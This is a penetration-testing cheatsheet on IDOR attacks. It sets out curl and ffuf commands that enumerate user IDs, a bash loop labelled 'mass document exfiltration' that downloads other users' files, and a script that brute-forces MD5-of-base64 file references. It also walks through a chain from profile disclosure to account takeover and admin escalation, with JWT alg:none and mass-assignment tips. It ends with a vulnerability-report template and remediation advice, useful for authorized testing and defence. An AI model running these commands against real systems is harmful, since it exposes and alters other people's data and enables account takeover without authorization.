🛡️ Methodology Checklist

  • Identify object reference in URL/body/header: id=, user_id=, doc_id=
  • Change ID to another user’s known or sequential ID
  • Test insecure direct reference with Burp Intruder: iterate IDs
  • Try encoded IDs: base64 decode → modify → re-encode
  • API chaining: use information from one endpoint to find hidden references in another
  • Mass enumeration: iterate all IDs in valid range
  • Look for blind IDOR: no data returned but actions taken (delete, update)

🎯 Operational Context

Use when: API endpoints use predictable IDs (user IDs, order IDs, document IDs) — change ID to access other users’ data or chain IDORs for privilege escalation. Think Dumber First: Change your user ID to another number in the API call. If GET /api/user/1337 returns your data, try /api/user/1 through /api/user/100. Automate with ffuf: ffuf -u http://[TARGET]/api/user/FUZZ -w ids.txt. Skip when: IDs are UUIDs — not enumerable via sequential brute force; look for indirect reference via other API endpoints instead.


⚡ Tactical Cheatsheet

CommandTactical Outcome
curl -s -b "session=[COOKIE]" "http://[TARGET_IP]/download.php?file_id=124"Horizontal IDOR: increment ID to access another user’s file
curl -s -b "session=[COOKIE]" "http://[TARGET_IP]/profile.php?uid=2"User profile IDOR — test sequential UIDs
curl -s -X GET -H "Cookie: role=employee" "http://[TARGET_IP]/profile/api.php/profile/2"Leak hidden JSON fields (uuid, role) via GET
curl -s -X PUT -H "Cookie: role=employee" -H "Content-Type: application/json" -d '{...}' "http://[TARGET_IP]/profile/api.php/profile/2"Overwrite another user’s profile (insecure function call)
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -'Replicate btoa(uid)→MD5 encoding to bypass hashed references
curl -sOJ -X POST -d "contract=[HASH]" http://[TARGET_IP]/download.phpDownload file using forged hash (-J uses server filename)
ffuf -w ids.txt:FUZZ -u "http://[TARGET_IP]/api/data?uid=FUZZ" -b "session=[COOKIE]" -fs [SIZE]Mass IDOR fuzz via ffuf
for i in {1..10}; do for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do wget -q $url/$link; done; doneMass document exfiltration bash loop
grep -i -B 4 -A 4 "admin" all_profiles.jsonHunt admin role string from enumerated profiles

🔬 Deep Dive & Workflow

IDOR Impact Matrix

TypeActionExample
HorizontalRead another user’s dataDownload their invoice
HorizontalModify another user’s dataChange their email
VerticalAccess admin function as standard userGrant yourself admin role
BlindModify data with no response confirmationChange password — verify by logging in as victim

Identification Checklist

URL parameters:    ?uid=1, ?file_id=123, ?account=5551234
POST body:         {"user_id": 1, "document": "contract_1.pdf"}
API endpoints:     /api/profile/1, /api/data/salaries/users/1
HTTP headers:      Cookie: role=employee  (trust cookie = IDOR waiting)
Hidden JS calls:   Inspect .js files for AJAX endpoints not rendered in UI

Encoded Reference Bypass

# App sends: contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
# JS source reveals: CryptoJS.MD5(btoa(uid)).toString()
 
# Step 1: replicate logic (CRITICAL: echo -n, base64 -w 0, strip trailing ' -')
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -'   # → cdd96d3cc73d1dbdaffa03cc6cd7339b
 
# Step 2: brute-force all IDs
for i in {1..10}; do
    hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
    curl -sOJ -X POST -d "contract=$hash" http://[TARGET_IP]/download.php
done

Traps: echo (not echo -n) adds \n → wrong hash. base64 without -w 0 → wraps → wrong hash.

API IDOR Chain (Disclosure → Privilege Escalation)

Step 1: GET /api/profile/2 → leak uuid + role string
Step 2: PUT /api/profile/2 with victim's uuid → take over account
         (change email → trigger password reset)
Step 3: GET /api/profile/1..100 → find user with role "web_admin"
Step 4: PUT /api/profile/[YOUR_UID] with role="web_admin" → escalate self
Step 5: Update Cookie: role=web_admin → POST admin-only actions

UUID Mismatch trap: URL endpoint and JSON body uid must match. If /api/profile/2"uid": 2 in body.

Cookie trap: Backend role change does NOT auto-update browser cookie. Must manually set Cookie: role=web_admin.

Two-Account Methodology

  1. Register User1 and User2
  2. Capture User1’s sensitive API request
  3. Replay it with User2’s session token
  4. If it succeeds → backend not validating session against data

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
IDOR returns 403 on other IDsAuthorization check existsTry: different API version /api/v1/ vs /api/v2/; add admin header; check mobile API endpoints
UUIDs used instead of sequential IDsNot enumerableLook for UUID exposure in other API responses; extract valid UUIDs from accessible endpoints
IDOR returns data but needs JWTJWT bound to userDecode JWT (base64): echo [PAYLOAD] | base64 -d; check if alg:none accepted or RS256→HS256 confusion
API chaining unclearMultiple endpoints neededMap full API: document → user → permissions chain; IDOR in document grants access to user → escalate
Mass assignment via APIExtra JSON fields acceptedAdd admin=true or role=admin to POST body; some APIs blindly bind all JSON fields to model

📝 Reporting Trigger

Finding Title: IDOR Vulnerability Exposes All User Records via API Impact: Insecure Direct Object Reference in API endpoints allows any authenticated user to access, modify, or delete any other user’s data by manipulating object identifiers, resulting in complete horizontal privilege escalation across all user accounts. Root Cause: API authorization checks user authentication but not authorization — confirms the requester is logged in but not that they own the requested resource. Missing object-level authorization (OWASP API1). Recommendation: Implement object-level authorization on every API endpoint. Never trust client-supplied object identifiers directly — validate ownership server-side. Use indirect reference maps. Implement automated testing for IDOR in CI/CD pipeline.